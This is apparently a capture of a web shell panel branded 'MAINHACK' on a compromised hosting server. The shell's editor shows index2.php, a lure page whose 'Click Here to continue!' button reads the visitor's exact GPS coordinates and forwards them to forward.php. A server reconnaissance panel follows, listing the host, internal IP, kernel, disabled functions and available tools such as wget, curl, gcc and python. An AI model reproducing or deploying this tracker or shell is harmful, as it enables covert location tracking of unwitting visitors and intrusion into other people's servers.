[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index2.php
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Hello, world!</title> <meta name="description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" /> <meta name="author" content="Binit Ghimire" /> <meta name="keywords" content="HTML5, Geolocation, GPS, Location, Get Location, Grab Location" /> <!-- Open Graph Meta Tags in case you want to share the URL of your webpage on Facebook! --> <meta property="og:title" content="Hello, world!" /> <meta property="og:type" content="website" /> <meta property="og:site_name" content="Hello, world!" /> <meta property="og:locale" content="en_US" /> <meta property="og:description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" /> <meta property='article:author' content='https://www.facebook.com/InternetHeroBINIT' /> <link rel="icon" type="image/png" sizes="32x32" href="https://cdn.iconscout.com/icon/free/png-32/location-62-93995.png" /> <meta name="theme-color" content="#ff0000" /> <style> /* Centering everything horizontally and vertically! */ html, body{ height:100%; } html{ display:table; margin:auto; } body{ display:table-cell; vertical-align:middle; text-align:center; color:#fc3d7d; } </style> </head> <body> <h3>How's it going on!?</h3> <hr color="red" size=1> <button onclick="getLocation()">Click Here to continue!</button> <hr color="red" size=1> <p id="errorMessage"></p> <script> let message = document.getElementById("errorMessage"); function getLocation(){ if(navigator.geolocation){ navigator.geolocation.getCurrentPosition(sendLocation); } else{ message.innerHTML = "<em>Your browser is unsupported.</em>"; } } function sendLocation(geoLocation) { window.location = "forward.php?x="+geoLocation.coords.latitude+"&y="+geoLocation.coords.longitude; } </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619